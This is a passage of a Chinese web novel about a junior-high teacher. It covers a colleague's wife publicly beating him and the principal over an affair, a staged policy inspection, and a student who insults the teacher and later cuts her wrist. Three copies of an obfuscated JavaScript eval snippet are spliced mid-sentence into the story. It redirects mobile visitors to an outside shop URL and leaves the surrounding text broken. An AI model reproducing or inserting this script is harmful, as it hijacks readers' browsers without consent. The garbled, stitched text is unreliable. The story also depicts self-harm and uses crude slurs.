说起讨厌的人,美术何老师开始积极分享她知道的八卦:“欸,别看他在学校嚣张,我听说他很爱他老婆,在家里事事都听他老婆,连女儿都跟着他老婆姓。” 历史邹老师撇撇嘴,对这个事情表示质疑:“我才不信。他在学校对女老师和男老师两种态度,特别瞧不起女老师,总是贬低我们的课。实际上,他上课也没好到哪里去,还动不动就辱骂学生,有时候还上手了。每学期都有学生家长投诉他,只是被学校处理了而已。” 肖遥不了解情况,只好道:“不好说,对我们态度差,不一定对老婆孩子不好。” “这种人品一般的人,对家里人能好到哪里去?”历史邹老师翻了个白眼。 她拍了拍肖遥的肩膀,自信道:“看着吧,早晚他都会翻车。” 美术何老师也点点头,认真道:“我妈最近去庙里给我算命了,说我身边的小人最近会走衰运。我直觉就是他。” 肖遥忍不住笑出声。 看来这黄老师真的很讨人厌啊。 但肖遥不大相信玄学。 上班这么久,她愈发明白,这种有后台的人才能在职场上走得更远。 可没多久,她就被打脸了。 天道有轮回,原来恶人真的有恶报。 那是一个平常的下午。 办公室里除了肖遥和历史陈老师,其他老师都在上课。肖遥正在为学生准备期末复习的试卷,却突然听到隔壁办公室传来吵杂声。 她以为是老师教训学生,但是越听越不对劲,她便拉上历史陈老师到隔壁办公室。 办公室里,几位肖遥熟悉的老师都站着,只是她们脸上的表情都很复杂。 办公室中间是两个肖遥未见过的女性。 一个看起来稍有年纪,短发,穿着简洁舒适的瑜伽服。另一个则是学生,身上还穿着校服。两人怒气冲冲地瞪着眼睛看向前方,哪怕见到肖遥进来,也没有分给她一丝视线。 看着两人相似的面孔和同样高大的身材,肖遥猜测两人是母女关系。 而她们对面,站着一个中年男人。 中等个子,平头大耳朵,穿着藏蓝色POLO衫,带着黑色眼镜,左手抚着脸正惊恐地看着对面的人。 那个男人就是数学黄老师。 短发女人将手里的文件用力地砸向了数学黄老师,指着他恶狠狠道:“黄亦仁,你还不承认是吧。我都拍到你出轨的照片了。” “你可以啊,住着我的房子,开着我买的好车,然后去包养情人?不是我察觉到你信用卡还款不对劲,我都不知道你这么有能耐,还藏了两年!” 听到“出轨”两个字,肖遥的眼睛瞬间亮起来了。 看来这就是传闻中黄老师“深爱”的老婆和女儿了。 她跟历史陈老师对视了一眼,决定默默呆着吃瓜。 这个瓜,应该保熟。 “刘冬梅,你别胡说八道。”数学黄老师扯着嗓子大声否认。 但肖遥却从中感受到他的底气不足。 “照片里的这个女人是我表妹,那天她不舒服,所以我扶她去酒店而已。” 肖遥:“......” 这个理由显然不能说服对面的女人。 她冷哼了一声:“黄亦仁,你编,你继续再编。你家表妹我都见过,这是哪里冒出来的?还有,你会跟你家表妹十指相扣?还周周去酒店?酒店里是有名医呢还是酒店里那张大床能治好她的病?” 26.校长又被打了! 男人的脸瞬间涨得通红。 肖遥则忍不住轻笑出声。 也是她的这一声笑,黄亦仁才意识到这里是办公室,还站着好几位他平日里瞧不起的女老师。 他顶着那些意味不明的视线看向自己的老婆,语气变软,似在哀求:“冬梅,有什么话我们回家说。这里是学校,影响不好。” “我呸,”刘冬梅对着他“啐”一口,叉着腰继续大声道:“你当初包养小三的时候怎么没想到影响不好?还教书育人,就你这样的垃圾能把学生教好?” 黄亦仁被这声“垃圾”刺激到,他阴沉着脸指着刘冬梅大骂:“刘冬梅,你个泼妇,我忍你很久了。仗着自己有点钱,对我呼来喝去,你有把我当作是你老公吗?” “我回到家里,不仅要做家务,还要被你当作员工训,还有你爸妈,有把我当一家人吗。你生不了儿子就算了,连女儿都不能跟我姓。” 站在刘冬梅旁边的女孩听到这话瞬间炸毛,她刚要开口维护自己的妈妈,就被刘冬梅抬手拦住。 “黄亦仁,你非得要逼我当着你同事的面抖出你那些事情是吧。” 刘冬梅轻蔑一笑:“当初你追我,每天跑到我家给我送早餐,做饭,洗衣服,不就是看中我的钱?难道是看中我比你大五岁?还是看中我没正经上过大学?” 看着黄亦仁瞬间变了的脸色,她慢条斯理继续道:“在一起后,你明里暗里跟我说家里供不起你上学,我知道你的心思。说实话,我是觉得你读书还不错,想着给我们家改善一下基因,生个聪明的孩子,才愿意给你钱。要不是我,你上得起大学吗?” “当初你向我求婚的时候,你自己说的,自己没钱,但是愿意入赘到我家,孝敬我爸妈,孩子跟我姓。不然我会跟你结婚?” “房子、车子是我买的,女儿从小就是我爸妈带大的,我每天忙店里的事情,让你做个家务怎么了?” “哼,女儿出生的时候,我就说了,我就生一个,你抱着女儿满口答应。结果没几年就催我生二胎,整天唉声叹气说对不起你爸妈。我不同意后,你就一直往你大哥家跑,给你侄子买衣服买玩具买手机。你以为我不知道?从小到大,你给女儿买过什么?” “就连你的工作,都是我找了朋友打招呼让你进来的。你现在享受了好处,过上了好日子,就开始觉得我们不好了是吧。” 刘冬梅悔恨,早知道男人这么不可靠,她当初就不应该答应结婚,有了小孩后直接把他甩了多干净利落。何至于今天闹得这么难看,还让自己女儿平白受委屈。 看着身旁红了眼睛的女儿,她伸手将女儿搂进怀里。 今天她必须结束这一切。 黄亦仁目眦欲裂:“你懂什么?我是为了女儿着想,家里没男孩,以后嫁出去了被别人欺负了怎么办。我是给女儿找靠山!” “你们是想吃我家绝户吧!” 刘冬梅扬声道:“黄亦仁,别以为我不知道你打的什么主意。” 她恨恨地骂了一句:“你个贱人。” ! 哦豁! 啧啧啧! 看不出来啊,黄亦仁原来是个软饭男,还是个打算软饭硬吃的凤凰男。 肖遥冷哼了一声,她最瞧不起这种人了。 恶心的男人。 被戳破了心思,黄亦仁的脸黑成了猪肝色。 他大口喘着气,颤抖不止的手指着刘冬梅,不断重复道:“你闭嘴。” “该闭嘴的是你!”刘冬梅开门见山:“今天你就跟我去民政局办离婚手续,女儿归我,你带着你的东西滚出我家。” “不可能!” 想到刘冬梅那几家赚得盆满钵满的店铺,黄亦仁直接拒绝了。 笑话,他好不容易攀上个富婆,还没捞到什么东西就离婚? 他咬牙切齿道:“要离婚也行,你要分我一半家产,那是夫妻共同财产。” 刘冬梅气笑了,果然是贱人。 还妄图她的财产,那可是她白手起家辛辛苦苦创下的家业。 刘冬梅挽起手袖,慢慢走向黄亦仁:“敬酒不吃吃罚酒是吧,黄亦仁,我今天就让你知道什么叫做女人不可欺!!!” 说时迟那时快,就在大家都还没反应过来的时候,刘冬梅一巴掌甩向了黄亦仁的右脸,将他打趴在地。随即冲上去,对着黄亦仁拳打脚踢。 “刘冬梅,你敢打我!” “黄亦仁,你个王八蛋!” “啊啊啊啊啊啊啊啊啊啊啊” “我让你出轨,我让你包小三!” !!! 肖遥震惊。 看着前面单方面殴打黄亦仁的刘冬梅,她瞪大了双眼,看向同样大吃一惊的历史陈老师。 肖遥:“怎么办,要上去帮忙吗?” 历史陈老师:“帮刘冬梅吗?好像不需要吧?她看起来很能打!” 肖遥:...... 确实,刘冬梅将近一米八的身高,红光满面,血气充足。 从她打人的手法来看,显然练过,黄亦仁被她打得毫无还手之力。 肖遥:“就因为她能打,万一把人打残了就不好离婚了!” 历史陈老师:“!” 历史陈老师:“对对对!” 就在两人商讨时,另外几位女老师犹豫着上前,想要拉开刘冬梅。 而站在刘冬梅身后的女孩立刻跑到几个老师面前,一边拉着她们的手,一边哭诉道:“阿姨,你们不知道,我爸原来不止出轨了一次,他还经常在网上撩骚女学生。” 一听这话,几个女老师也放弃了劝阻的想法。 这时,外面传来了一阵急促的脚步声。 肖遥挑眉,连忙上前大声道:“别打了别打了,有什么事情等我们校领导来了再说。” 她还不断用眼神示意着另外几个老师。 历史陈老师会意,也连忙道:“黄老师,快停手啊。这里是学校。” “对啊对啊,别打了。” “砰!” 办公室的门被打开,金校、章校以及保卫处的两个保安进来了。 看到躺在地上嗷嗷大叫的黄亦仁,金校的嘴角不自觉地抽搐了一下。 他连忙大喊:“快住手!” 可惜刘冬梅不为所动,反手又扇了黄亦仁一巴掌。 金校赶忙上前,却被刘冬梅扣住手腕,一把推开。 他一米七的个子,浑身肥肉,又怎么比得过一直健身的刘冬梅? 被保安扶住的金校脸色难看,他指挥道:“快点把她们拉开!” 两个保安立刻上前想要按住刘冬梅。 双拳难敌四手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296123|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼看着刘冬梅要被制服住,肖遥咬咬牙,冲了上前,一边喊着“别打了!别打了!”一边推搡着几人,假意拦住刘冬梅,实则拉住保安的手。 历史陈老师也紧随其后。 “刘冬梅,你快住手!我报警了!” “报就报,我们自己的家庭纠纷,关你们屁事!” 而刘冬梅的女儿看到自己妈妈被纠缠,也立刻上前。虽然才初三,但是小姑娘已经有一米七了,隐隐约约有着妈妈的风范,手脚并用地推开了刘冬梅身后的保安。 见此,刘冬梅停止了对黄亦仁的殴打。 她转过身,把女儿拉到身后,指着金校骂道:“好啊,我不找你,你还找过来了。金诚,别以为我不知道,黄亦仁那个小三就是你表妹对吧!” 众人一愣。 ! 哦豁! 还有瓜呢! 在场的视线转移到金校身上。 “胡说!”金校的脸一会红一会白的,但躲闪的眼神透露出他的紧张。 “就因为我不答应你入股我的店,你就这么搞我是吧。” 刘冬梅紧紧地盯着金校,目露凶意:“我今天要让你知道,我的便宜不好占。” 趁着众人发愣,刘冬梅疾步冲上去,扬起手,重重地给了金校一巴掌。 “啪!” 金校的左脸瞬间红了,留下一道红红的手印。 ! ! ! 校长又被打了!!! 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 肖遥死死咬住下唇,不然她怕自己忍不住笑出声。 金校显然被打懵了,一脸的呆滞。 站在他旁边的章校也懵了。 直到脸上传来火辣辣的刺痛,金校才反应过来他被打了。 他满目狰狞,咬牙恨道:“刘冬梅!” 办公室瞬间又混乱起来。 这会不是刘冬梅殴打黄亦仁了,而是刘冬梅殴打金校了。 是的,将近一米八的刘冬梅殴打一米七的金校。金校同样被打得毫无还手之力,很快脸上形成了两个对称的巴掌印。 “刘冬梅,xxx,你个泼妇,你快停手啊啊啊啊啊啊!” 这回轮到金校嗷嗷大叫了。 刘冬梅一边动手,一边不怀好意道:“你个老登,你自己也在外面包小三,听说你男女不忌啊。” “xxx,你胡说!” “哈哈哈哈哈哈哈哈哈,你个双插头,是艹你h爷吧!” ! 肖遥汗颜,这么劲爆的吗? 而被刘冬梅刚刚的话冲击到的章校和两个保安愣了愣,又赶忙上前试图拉开两人。 见状,肖遥再次冲了上去,继续喊着:“别打了,别打了。” 巨大的冲击力把本就踉踉跄跄的章校撞到了金校身上,“嘭”的一声,金校撞到门上。 刚刚进来的时候,他们没有关门。因此,金校这一撞,直接倒在了办公室门口。 而门口不知何时聚满了下课的老师和学生,她们的脸上全都是不可置信的表情。 金校微微张口,一口气堵在胸口。 人群后面,不知道大喊了一声: “校长又被打了!!!” ...... 27.检查 那天的混乱场景,肖遥大概这辈子都不会忘记了。 随后赶到的几个学校领导和其余老师把学生全都赶回了班级。 没多久,片区的警察便来了,原本是要把在场的人都带去派出所。只是肖遥看见章校偷偷把警察拉到一旁,说了好些话,最后警察什么也没说就走了。 至于黄亦仁和金校,校医赶过来查看过。 除了脸上的巴掌印看起来比较严重外,身上并没有什么大伤。 也是,冬天的衣服厚重,最多身上留下些许青紫色痕迹。 肖遥暗自点点头,看来刘冬梅还是很理智的。 从那天开始,黄亦仁没再来学校,他的东西还是保安给他收拾的。而金校,肖遥也没在教学楼再见到他。 直到一周后,美术何老师才偷偷告诉肖遥几人她知道的信息:“据我所知,黄亦仁当初家里穷,但是他很努力,考上了我们市的师范大学数学系。然后在做家教的时候认识了刘冬梅,攀上了高枝,成为了赘婿。” “这个人很会装,在外人面前扮演着爱妻情深的人设,实际上经常在外面撩骚。他还想要自己哥哥去刘冬梅的店里帮忙,刘冬梅不答应,两人就经常吵架。他还把自己的工资都拿回他家里孝敬他哥。” “哦,对了,刘冬梅和金校是朋友。当初黄亦仁嫌公办学校工资低,不愿意去。刘冬梅就帮忙搭线,黄亦仁才进来的,而且一进来了就拿很高的工资。” “谁曾想,就因为刘冬梅开店赚钱了,金就眼红。入股不成后,金就和黄亦仁勾搭上了,还给他介绍了自己的表妹。” 历史陈老师“啧啧”称奇:“他这是想让自己表妹上位,借黄亦仁的手吃掉刘冬梅啊。” “可不是,还是朋友呢,居然在背后捅了刘冬梅这么大的刀子。而且黄亦仁也够恶心的,跟外人一起对付自己的老婆。”美术何老师一脸的鄙夷。 肖遥不屑道:“男人嘛,利益至上,最喜欢抱团欺负女人了。” 美术何老师点点头,继续道:“刘冬梅和黄亦仁已经在办理离婚了,黄亦仁净身出户。黄自己提出了辞职,然后金可能也会辞职。 肖遥诧异:“黄居然愿意净身出户?”她以为黄亦仁会死死咬住刘冬梅不放呢。 美术何老师也诧异:“我也不知道,估计刘冬梅还抓住了他什么把柄吧。” 音乐王老师倒是对金校的辞职感兴趣:“欸,不是说刘冬梅说金也在外面养小三了。”她捂着嘴偷笑道:“我听说他养的还是个男人。” 回想起刘冬梅的话,肖遥全身都起了鸡皮疙瘩:“她是这么说的,究竟是不是真的不好说。” 历史陈老师眯了眯眼睛:“无风不起浪,指不定刘冬梅在查黄亦仁的时候,发现了什么。” 她想起平日里和金校玩得好的几个男老师,笑得贼兮兮:“你们说,有多少人也是走金校的‘后门’进来的?” 另外三人心领神会,不约而同地笑了起来。 这可不是她们胡乱猜想,那天在场不少人。刘冬梅说的话早就传了出去,不少同事私底下都在猜测谁可能被金校潜规则过。 至于那几个和金校走得近的男老师则每天夹着尾巴做人,每天上完课就呆在办公室,下班了就立刻回宿舍或回家,不再殷勤地往领导的办公室凑,也不再进行他们的日常打球活动。 虽然金校不再出现在众人面前,但是这并不影响学校的正常运作。 唯有黄亦仁的离职,加重了其他数学老师的负担。临近期末,不好招聘数学老师,只能由其他数学老师代课。 好在,学校数学老师多,每个人轮流代课。而且复习周主要都在讲练习,对学生的影响不算很大。 早上,肖遥艰难地上完期末复习课。 回到办公室,她就看到了自己工位上放着一张纸。 肖遥看向旁边的历史陈老师,疑惑道:“这是我们的新课表吗?” 也不像啊,上面就这点课。连早读都没了,体育课居然变成了一周五节。 历史陈老师指了指手机,笑道:“你看看大群,领导发通知了,上面要来检查。这是为了应付检查做的新课表。” 肖遥了然:“哦,阴阳课表啊。” 她翻了翻群里的文件,大意就是老师和学生都要做好迎检准备。 “那上课要按照这个课表吗?” “不用,平时还是按照正常课表上课,等领导过来检查的时候把它贴上就行了。” 肖遥轻笑出声:“那这个课表也没什么意义啊?” 美术何老师抬起头,耸了耸肩,笑道:“是没什么意义,不过面上肯定要做足功夫。” 接着,她哀叹一声:“你们科任老师上课倒还好,我们科组就烦死了。要准备社团活动,这几天放学都要把学生留下来排练。” 肖遥眉头紧皱,她实际上不太了解这个检查究竟是检查什么。 她直接将自己的疑惑说出来。 历史陈老师:“我们不是在推行双减政策?就是要减轻义务教育阶段学生作业负担和校外培训负担,要发展素质教育。就是学校不能给学生布置过多的作业,机构不能超前教学和利用节假日补课。” “另外还有双增,增加学生体育、艺术、户外活动和劳动的机会,增加学生体育、美术等课外培训的时间和机会。特别是学校增加课后服务,提供兴趣课程,以此来提升学校教育教学质量。” 肖遥:“那...做到了吗?” 美术何老师大笑:“怎么可能,只要有考试,就不可能做到真正减负。” 音乐王老师轻叹了一声:“我觉得反而加重了负担。” “我小侄女上的是家附近的公办小学,一二年级不能有书面作业,她倒是玩得开心,可是上了三年级就跟不上老师的进度,把我嫂子急得,已经给孩子在外面找机构上课了。” 肖遥吃惊:“这么小就去培训机构了?不是说不能去教培机构上课?” 音乐王老师解释道:“一开始那段时间是比较严,所以我嫂子托我找的一对一老师,到家里上课,可难找了,大家都怕被举报。后来不是逐渐放开了嘛,就开始去机构上课。” “唉,不上不行啊。学校老师说了,不能布置过多作业,练习册不敢订,连学校老师自己打印试卷也被举报了。” “而且连学生考试的分数和排名也不公布了,那怎么知道小孩学得怎么样?到了中考怎么竞争得过其他人?” 历史陈老师:“公办学校是严格一点,民办倒还好,你看我们学校练习册一大堆。欸,你侄女怎么不去民办学校?” 音乐王老师:“我嫂子是打算等孩子初中就转来我们学校,刚好有我看着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300122|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 肖遥:“可我们期中考试不是出来了区排名吗?” 历史陈老师小声道:“小学不比初中,学校要参加中考。而且虽然明面上不能公布各校成绩排名,但是我们区教研员还是会私下偷偷告诉我们的。因为上面也有升学率的压力,所以会重点关注成绩不理想的学校。” “比如期中考试后,我们区有两个公办学校考得很差,所以连续两周在这两个学校安排了教研,让各校各学科老师过去听公开课,提出建议。” 听她这么一说,肖遥倒是想起来了,那两次区教研是道法赵老师和九年级道法杨老师去的。 肖遥:“那有效果吗?” 历史陈老师:“人家是编制内的老师,才不在乎这种教研,该怎么上还是怎么上。” 肖遥沉思了一会:“那其实双减是好还是不好啊?” 历史陈老师摇摇头:“不好说哦,但我觉得公办学校的教学质量好像越来越差了。” 音乐王老师:“再怎么减负,大家还是有升学焦虑。”她翻了翻音乐课本,无语道:“你看看这新教材,内容越改越多、越改越难,中考的考试难度没降反升。家长压力更大,小孩更卷更累了。” 美术何老师幽幽道:“对那些本身就重视孩子教育的家庭来说,应该没什么影响,反正该补习还是会补习。但对于那些不太重视教育、也没法提供教育资源的家庭来说,影响还是挺大的。” “可能就是要分层选拔出有天赋、有家庭支持的聪明孩子吧。” 肖遥:“......” 就在这时,道法赵老师进来了。 她看着肖遥手中的新课表,对肖遥直接道:“肖老师拿到课表了哦,大概后天上面会有人来检查。到时候把这张课表换上。” 肖遥点点头:“好。” 道法赵老师:“另外,教案要写完,特别是教学反思别忘了。这两天把学生的试卷都收上来放好,把布置的练习册作业改完,让没有订正完的学生赶紧订正,时间一定记得写上。” 肖遥皱眉:“还要检查练习册?” 那工作量可大了。 道法赵老师扶额苦恼道:“对,我们道法历史还好,没有订额外的教辅资料。语数英物理化学就不一样了,都是各种练习册和报纸,现在都得让学生收起来。” “我还得跟学生开班会说清楚不该说的话,免得到时候暴露了。” 音乐王老师附和道:“我们也是,还要督促学生排练,整理好社团课的教室,到时候展示给领导们看。” 美术何老师无力笑道:“我在行政办还得准备各种检查的材料。” 道法赵老师:“唉,这个检查最后苦得还是我们。” 肖遥:“......” 不管老师们有多讨厌迎检,都还是按照学校的要求逐一做好准备。 这是肖遥第一次参加学校迎检工作,对于这些上级领导她还是有点紧张的。 可惜了,那一整天她都没在教学楼见到任何外来领导。 然后下午下班的时候,她就被告知检查结束了。 肖遥:...... 也是,都提前通知的检查,有什么意义吗?不就是走个过场嘛。 肖遥撇撇嘴,将那张迎检课表揉成一团,扔进了垃圾桶。 尽是些形式主义。 28.背刺 周一早上的教师办公室。 肖遥在日历上又打了个大大的X,而她日渐疲惫的双眼终于迸发出一丝亮光。 因为距离这学期结束还剩不到两周的时间,其中还包括了三天的期末考试。 也就是说,她再熬完这几天,就能顺利解放了。 想到此,肖遥脸上的笑容越发灿烂。 肖遥戳了戳系统:“系统,还剩不到10天了。” 青蓝色的光团亮起:“亲,不要骄傲哦。” 肖遥轻哼一声。 临近期末,学生越发心浮气躁。因此,学校和班主任都加强了对学生的管理,连课间都会在走廊巡查学生的动态。 就这样,还能有什么事情发生? 系统沉默不语。 肖遥也没再理它,继续按部就班上课。 周二上午,肖遥在上705班的课。 又是复习课,又是下午,学生们大都没精打采,垂着脑袋看着试卷。肖遥便以开火车的形式让学生来回答问题,振奋一下学生的精神。 前面的学生都还算配合,但轮到张可妍时,她却一直低着头不出声。 看到她这副姿态,肖遥忍不住皱眉。 张可妍平时上课挺认真的,道法成绩算是班级中上。这道选择题不难,怎么会这么迟疑? 肖遥提示道:“这个问题的关键信息是配合、合作,所以应该选哪个选项?” 张可妍摇摇头。 肖遥:“......” 肖遥无法,只得让她坐下,换下一个学生回答。 下课后,肖遥把她叫去了办公室。 面前的女生垂眸站着,双手放在身后,抿唇不语。 肖遥斟酌着语言,开口道:“可妍,怎么了?是身体不舒服吗?” 女生摇摇头。 “那为什么上课答不出来那道题?老师都已经提示你了。” 女生咬住下唇,小声道歉:“老师,对不起。” 肖遥叹了口气:“老师只想知道你为什么不在学习状态。如果有什么问题,可以告诉老师,老师尽量帮你解决。” 女生的眼睛开始泛红,她抬起手用袖子胡乱擦了擦眼角的眼泪。 肖遥连忙抽出两张纸巾递给她。 接过纸巾的张可妍抽了抽鼻子,诺诺道:“谢谢老师。” 等她情绪平复下来,肖遥才轻声问道:“现在可以告诉老师了吗?” “老师,上次月考,我考得很差,我爸就骂我,说我期末要是还考不好,过年就别想出去玩了。” 原来是这样。 肖遥暗自松了口气。 她语气温和:“没事,不用太在意啊,你爸爸只是紧张你的学习。你可以找老师分析你月考没考好的原因,然后把问题改正过来,这几天好好复习就好了。” 她抬手抚上女生的肩膀,鼓励道:“你要相信你自己。” 张可妍依旧闷闷地点点头。 见状,肖遥迟疑了一会,便从抽屉里拿出了棒棒糖、小饼干。 这是她买来平时垫肚子的,偶尔也会奖励给进步的学生。 她知道这个年纪的孩子都喜欢吃零食,因此,她将几颗糖果和饼干递给张可妍,温柔道:“老师请你吃糖,不要想太多,这几天认真复习,你期末考试肯定没问题的。” 张可妍眼神一闪。 随即她接过零食,脸上露出羞涩的笑容:“谢谢老师。” “没事,回去吧。” 看着女生出去时比来时更显放松的脚步,肖遥安心下来。 如同历史陈老师说的,虽然平时这些学生很气人,但是她们也会有可爱的地方,也会主动帮老师干活,和老师分享趣事,和老师开些无伤大雅的玩笑。 但也因此,肖遥的情绪总是复杂多变。 上一秒,她会被不认真学习的学生气得决定不想再管他们,但下一秒她又会觉得恨铁不成钢,又巴巴地抓着这些学生讲题。 唉。 肖遥抬手摸了摸胸口,上班才几个月,她就觉得自己有了乳腺结节。 要放宽心,放宽心。 ...... 下午放学,肖遥准备去拿外卖回宿舍吃。 今天她没有晚自习,因此她特意点了个豪华版麻辣烫,以及大杯珍珠奶茶,准备在宿舍一边看综艺一边享受她的独处时光。 路过隔壁办公室时,肖遥听见了一阵女生的哭泣声以及熟悉的训斥声。 她似乎还听见了自己的名字。 肖遥在门口站了会,便打开门走了进去。 办公室里只剩下几位班主任在。 而705班的数学范老师正坐在位置上训斥学生,她神情严肃,手里还拿着手机。 看到肖遥进来,范老师还愣了一下。 随即,她打了个招呼:“肖老师,刚好,我想找你说些事。” 肖遥上前,目光扫向站在范老师面前抹眼泪的张可妍,问道:“范老师,怎么了?” 范老师阴沉着脸,神色复杂,看着张可妍欲言又止。 最后,她叹了口气:“今天我去班里巡查,结果听到张可妍跟另外两个女生在聊天。”她抬眸看向肖遥,皱眉道:“她在骂你。” ? 张可妍骂她? 肖遥愣住了。 她不敢相信。 但当她带着疑惑和询问的目光落在张可妍身上时,张可妍全身颤抖,手不住地揪着衣摆,头变得更低了。 得,看来是真的了。 看着肖遥疑惑而又无语的表情,范老师也无奈道:“我听了一会,骂的话特别难听。我还从她桌面发现了这个。” 她递给肖遥一张草稿纸。 应该是几个人的聊天,不同的字迹,但都是些粗言粗语。 什么“装货”、“煞笔”、“jian人”,还有写满半页纸的哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 肖遥扫了一眼就没再看了,怕脏了自己的眼睛。 但她不理解,为什么呀? 此刻她的疑惑大于生气。 肖遥不解:“为什么骂我啊?” 张可妍低着头,没有回答。 范老师冷哼了一声:“我刚刚问了另外这两个人,张可妍说,肖老师你给了她零食?” “对啊,早上我看她上课情绪不太好,把她叫来办公室问了下情况,顺手给了她糖果和饼干,想着鼓励她期末好好复习。” 这有什么不对吗? 肖遥满脸疑惑。 随即想到草稿纸上的“装货”,她瞬间呆住了:“就因为我给你零食、关心你,所以你觉得我是装货?” 女生没有抬头。 肖遥看向范老师,她无语地点点头,承认了这个荒唐的理由。 肖遥气笑了:“不是...这是什么道理啊?” 就因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303434|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她关心学生,请学生吃零食,她就是“装货”、“jian人”? 而且这学生平时看着很乖巧听话啊,谁能想到是人前一套背后一套? 肖遥觉得,她的价值观又要开始重塑了。 范老师重重地叹了口气,向肖遥解释道:“这学生不是第一次在背后骂老师了,之前就因为语文老师罚她抄写古诗词,她就在背后骂语文老师,可明明是她自己不写作业在先。更别说在背后骂我的次数更多了。” “这种思想、这种行为怎么行啊?所以我刚刚给她爸打了电话,说了这个情况,她爸已经在来的路上了。” 肖遥:“......” 范老师转头,锐利的眼神瞪住张可妍,冷冷道:“现在,给肖老师道歉。” 张可妍转身面向肖遥,只是依旧没有抬头,只是小声道:“老师,对不起。” 看她这态度,范老师更生气了:“头抬起来,这是道歉的态度吗?” 张可妍慢慢抬起头,只是没有对上肖遥的视线,声音哽咽:“肖老师,对不起。” 肖遥:“......” 说实话,肖遥没办法大肚地说出“没关系”,这样的行为太过于让她寒心了。 但作为老师,她还是忍不住教育一句:“下次别这样了,老师对你们没有坏心思,不用想得这么复杂。” 面前的女生依旧只是闷闷地点头。 范老师:“现在站旁边,写500字的检讨,等你爸过来。” 肖遥没再看她,她现在心情挺复杂的,就连平时觉得美味的麻辣烫和奶茶都吃得不香了。 唉! ...... 第二天下午,依旧是705班的课。 肖遥站在讲台上,扫视了一圈学生。 看到张可妍时,她目光顿了顿。 她今天依然是低着头,肖遥看不清她的神情。 但肖遥没管她,继续讲解试卷。 可惜,偏偏有些学生就是不能安分地上课。 肖遥打开被折叠的草稿纸,上面密密麻麻地写了一堆话。 肖遥懒得细看。 她合上纸条,望向站着的张可妍和她的同桌,严肃道:“有什么话不能下课讲,非得要上课传纸条吗?” 张可妍的同桌立刻澄清:“老师,是张可妍让我帮她传的。” “传给谁?” 同桌没有回答,他眼神躲闪。 张可妍则心虚地拿着笔在试卷上涂画。 肖遥不想浪费时间,只说了句:“先坐下,下课你们两个跟着我去找班主任。” 同桌的脸立刻塌了下去,埋怨的眼神瞪向张可妍,而张可妍的脸色随即变得紧张起来。 肖遥没多想,大概她们是怕被班主任惩罚吧。 一下课,肖遥便拿着缴获的纸条,带着不认真上课的学生到了范老师面前。 听到肖遥的讲述,范老师脸色又变得难看起来,她直接开骂:“就剩这么几天时间,就不能安分点吗?你们成绩很好是吧?都不用听老师讲课了?” 范老师挠了挠自己为数不多的头发,她最近天天都在处理学生问题,情绪也愈发暴躁。 面前的两人又变成了鸵鸟。 范老师接过纸条,认真道:“肖老师,我来处理。” 肖遥点头,放心地离开了。 只是没想到,就是这张纸条,让她后面几天度日如年。 29.离谱 “咚~” 熟悉的闹铃响起。 肖遥伸出手按掉闹钟,又继续缩回被窝里。 昨晚她失眠了,就因为想张可妍的事情,一直到两三点才睡着。 因为她实在是不理解,一个初一的学生为什么心思这么重? 更何况她也没做什么啊? 唉。 肖遥掀开被子,深深吸了口独属于冬天的寒冷的空气,又重重地叹了口气。 自从上班后,她好像经常叹气,还经常跟同事诉苦。不是骂领导,就是骂学生、骂家长,一件事情可以对着好几个人复述,她似乎变成了祥林嫂。 她好讨厌这样的自己。 ...... 肖遥在周四只有下午的两节课。 早上她参加完科组教研,便开始准备期末检查的资料,读书笔记、复习教案、作业登记、听课记录等等。 此刻,她正在摘抄网上的美文美句,准备用AI写一段读后感。每月一篇读书笔记,一共五篇,她还剩下两篇。 就在她准备抄最后一篇的时候,道法赵老师神情严肃地过来了。 “赵老师,怎么了?”肖遥率先打招呼。 “今天早上,学生宿舍又出事了。”赵老师言简意赅道:“是705班的张可妍,她在宿舍割脉。” “什么?” 不仅肖遥震惊,同办公室的其他老师也震惊。 “她怎么样了?” 虽然被背刺了,但毕竟她还是自己的学生,肖遥还是颇为关心的。 “早上就被宿管及时发现,范老师和政教处魏主任送去了医院,刚刚发来信息,说没什么大事了。” “那就好。” 肖遥稍稍放心,随即又不解道:“为什么要割腕啊?她用什么割腕?” 道法赵老师无奈地摇摇头:“不知道她从哪里弄来的刀片,幸好没有弄很深。”说着,又打开手机给肖遥看了范老师发来的照片。 一张是受伤时的照片,手腕处有一道伤痕,虽被止住了血,但上面还残留了一些血迹;一张是处理好伤口的照片,手腕处被包扎了纱布。 肖遥皱起眉头,她还看到了张可妍受伤的手腕下方有几道疑似刀划过的红色的伤痕。 “她是不是之前就割过腕?” 